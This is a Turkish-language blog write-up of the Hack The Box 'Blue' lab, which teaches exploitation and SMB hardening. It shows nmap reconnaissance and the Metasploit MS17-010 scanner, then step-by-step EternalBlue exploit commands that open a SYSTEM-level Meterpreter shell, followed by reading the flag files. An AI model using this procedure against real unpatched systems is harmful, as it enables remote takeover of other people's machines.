top of page

Hack The Box – Blue Write-Up | MS17-010 (EternalBlue) ile SYSTEM Erişimi

Yazarın fotoğrafı: Songül ÖZÜGÜRLER
Songül ÖZÜGÜRLER
22 Eki
4 dakikada okunur


Bu yazımda Hack The Box platformunda bulunan Blue makinesinin çözümünü ele alacağım.

Blue, Windows 7 üzerinde çalışan ve SMB protokolündeki MS17-010 güvenlik açığını barındıran bir makine. Bu laboratuvarda amacım hedef sistemi keşfetmek, açık servisleri incelemek, EternalBlue zafiyetini istismar ederek sisteme erişmek ve user/root flag dosyalarına ulaşmak.


Her zamanki gibi ilk olarak hedef makinedeki açık portları ve bu portlarda çalışan servisleri tespit etmek için Rustscan ve Nmap kullandım.

nmap -sV -sC -p135,139,445,49152,49153,49154,49155,49156,49157 blue.htb

Burada kullandığım parametreler:

  • -sV: Açık portlarda çalışan servislerin sürümlerini tespit eder.

  • -sC: Nmap'in varsayılan NSE scriptlerini çalıştırır.

  • -p: Taramak istediğim portları belirtir.

Tarama sonucunda dikkatimi çeken bilgiler şunlardı:


Özellikle 445 numaralı portta şu bilgiyi gördüm:

Windows 7 Professional 7601 Service Pack 1

Bu bilgi benim için önemliydi. Çünkü hedef sistem Windows 7 SP1 çalıştırıyordu ve 445 numaralı port üzerinden SMB servisi erişilebilir durumdaydı.

Windows 7'nin bu sürümü, gerekli güvenlik güncellemeleri yapılmadığında MS17-010 zafiyetinden etkilenebiliyor.

Ancak burada dikkat edilmesi gereken bir nokta var: 445 portunun açık olması tek başına sistemin zafiyet içerdiği anlamına gelmez. Bunun için ayrıca güvenlik açığı kontrolü yapmamız gerekiyor.


SMB (Server Message Block), Windows sistemlerinde dosya, klasör ve yazıcı gibi kaynakların ağ üzerinden paylaşılmasını sağlayan bir protokoldür.

Hedef sistemde SMB servisi açık olduğu için öncelikle paylaşımları incelemek istedim.



Burada:

  • -L: SMB paylaşımlarını listeler.

  • -N: Parola istemeden bağlantı denemesi yapar.

Bu komut sayesinde hedef sistemin kimlik doğrulaması olmadan hangi SMB paylaşım bilgilerini sunduğunu kontrol edebiliyoruz.

SMB servisinin açık olması, işletim sistemi sürümüyle birlikte değerlendirildiğinde MS17-010 zafiyetini araştırmak için iyi bir başlangıç noktası oluşturuyordu.


MS17-010, Microsoft'un Mart 2017'de yayımladığı ve SMBv1 protokolündeki kritik güvenlik açıklarını ele alan güvenlik bültenidir.

Bu açıklardan yararlanan en bilinen exploit ise EternalBlue olarak adlandırılıyor.

EternalBlue, savunmasız Windows sistemlerinde uzaktan kod çalıştırılmasına olanak sağlayabiliyor.

Bu zafiyetin bu kadar tanınmasının önemli nedenlerinden biri de Mayıs 2017'de ortaya çıkan WannaCry fidye yazılımı saldırısı.

WannaCry, MS17-010 kapsamındaki açıklardan yararlanarak ağ üzerindeki savunmasız Windows sistemlerine yayılabiliyordu.

Biz de bu laboratuvarda aynı güvenlik açığının kontrollü bir sızma testi ortamında nasıl istismar edilebildiğini inceleyeceğiz.


Hedef makinenin işletim sistemi ve SMB servisi hakkında bilgi topladıktan sonra Metasploit Framework'ü başlattım.


Ardından MS17-010 ile ilgili modülleri aradım.



Metasploit içerisinde bu güvenlik açığına yönelik hem tarama hem de istismar modülleri bulunuyor.

Öncelikle zafiyet kontrolü için aşağıdaki modül kullanılabilir:

use auxiliary/scanner/smb/smb_ms17_010

Hedef IP adresini tanımladım.

set RHOSTS 10.129.88.167

Ardından taramayı başlattım.

run

Bu modül, hedef sistemin MS17-010 güvenlik açığına karşı savunmasız olup olmadığını kontrol etmek için kullanılıyor.



Zafiyet doğrulandıktan sonra istismar aşamasına geçebiliriz.

Metasploit içerisinde EternalBlue modülünü seçtim.

use exploit/windows/smb/ms17_010_eternalblue

Hedef sistemin IP adresini ayarladım.

set RHOSTS 10.129.88.167

Daha sonra kendi Kali Linux makinemin HTB VPN bağlantısında kullandığı IP adresini kontrol ettim.

ip -4 addr show tun0

Metasploit'te bağlantı için kullanılacak arayüzü tanımladım.

set LHOST tun0

Buradaki RHOSTS hedef makineyi, LHOST ise ters bağlantının ulaşacağı yerel adresi belirtir.

Ayarları kontrol etmek için:

show options

Ardından exploit'i çalıştırıyoruz.

run

Başarılı bir istismar sonrasında Metasploit üzerinde bir Meterpreter oturumu açılabilir.

Meterpreter session 1 opened

meterpreter >

Bu oturum sayesinde hedef Windows sistemi üzerinde komut çalıştırabiliyoruz.



Meterpreter oturumu elde ettikten sonra ilk kontrol etmek istediğim şey hangi kullanıcı yetkileriyle işlem yaptığımdı.

Bunun için:

getuid

EternalBlue istismarında elde edilebilen yetki:



NT AUTHORITY\SYSTEM, Windows işletim sistemindeki en yüksek ayrıcalıklı güvenlik bağlamlarından biridir.

Linux sistemlerinde root kullanıcısına benzer şekilde, Windows üzerinde de SYSTEM hesabı çok yüksek yetkilere sahiptir.

Bu noktada önemli olan, herhangi bir kullanıcı parolasını ele geçirmeden, SMB servisindeki güvenlik açığı nedeniyle yüksek yetkili komut çalıştırma imkânı elde edilebilmesidir.

Bu aynı zamanda Blue makinesinin en önemli noktalarından biri. Başarılı bir EternalBlue istismarı SYSTEM yetkisi sağladığı için ayrıca bir privilege escalation aşamasına ihtiyaç duyulmayabilir.


Sistem üzerinde oturum elde ettikten sonra ilk hedefimiz user flag dosyasına ulaşmak.

Meterpreter oturumundan Windows komut satırına geçmek için:

shell

Ardından hedef sistemde bulunan kullanıcı klasörlerini listeleyebiliriz.

dir C:\Users

Blue makinesinde ilgilendiğimiz kullanıcı haris.

Bu nedenle kullanıcının masaüstünü kontrol ediyoruz.

dir C:\Users\haris\Desktop

User flag dosyasını okumak için:

type C:\Users\haris\Desktop\user.txt

Bu dosyada bulunan flag değeri Hack The Box platformundaki User Flag alanına giriliyor.



User flag aşamasından sonra sıra root flag dosyasına geliyor.

Blue bir Windows makinesi olduğu için burada Linux'taki root hesabı yerine Windows'un Administrator ve SYSTEM yetkileriyle ilgileniyoruz.

Eğer Meterpreter oturumunda getuid komutu SYSTEM yetkisini doğruladıysa Administrator kullanıcısının masaüstünü inceleyebiliriz.

dir C:\Users\Administrator\Desktop

Root flag dosyasını okumak için:

type C:\Users\Administrator\Desktop\root.txt

Dosyada bulunan flag değerini de HTB platformuna girerek makinenin son aşamasını tamamlayabiliriz.


Blue makinesi, özellikle Windows ortamlarında SMB güvenliğinin neden önemli olduğunu anlamak açısından faydalı bir laboratuvar.

Burada benim için önemli olan yalnızca EternalBlue exploit'ini çalıştırmak değil, zafiyetin ortaya çıkmasına neden olan koşulları da anlayabilmekti.

Örneğin 445 portunun açık olması tek başına bir güvenlik açığı anlamına gelmiyor. Ancak SMB servisinin sürümü, işletim sisteminin güncelleme durumu ve bilinen CVE kayıtları birlikte değerlendirildiğinde potansiyel saldırı yüzeyini daha doğru analiz edebiliyoruz.

Aynı zamanda bu laboratuvar sayesinde şu konuları tekrar etmiş oldum:

  • Nmap ile port ve servis keşfi

  • SMB protokolü ve Windows ağ servisleri

  • MS17-010 güvenlik açığı

  • EternalBlue exploit mekanizması

  • Metasploit Framework kullanımı

  • Meterpreter oturumları

  • Windows SYSTEM yetkileri

  • Windows dosya sistemi üzerinde gezinme


Blue, Windows sistemlerde yamalanmamış kritik bir güvenlik açığının ne kadar ciddi sonuçlar doğurabileceğini gösteren iyi bir örnek.

Özellikle MS17-010 gibi uzaktan kod çalıştırmaya olanak sağlayan açıklarda, saldırganın geçerli bir kullanıcı hesabına sahip olmadan sistem üzerinde yüksek yetkilerle işlem yapabilmesi oldukça önemli bir risk.

Savunma tarafında ise SMBv1 kullanımının kaldırılması, güvenlik güncellemelerinin uygulanması ve 445 numaralı porta erişimin yalnızca gerekli ağlarla sınırlandırılması bu tür saldırıların önlenmesinde önemli rol oynuyor.

Bir sonraki Hack The Box çözümünde görüşmek üzere 🌸



 
 
bottom of page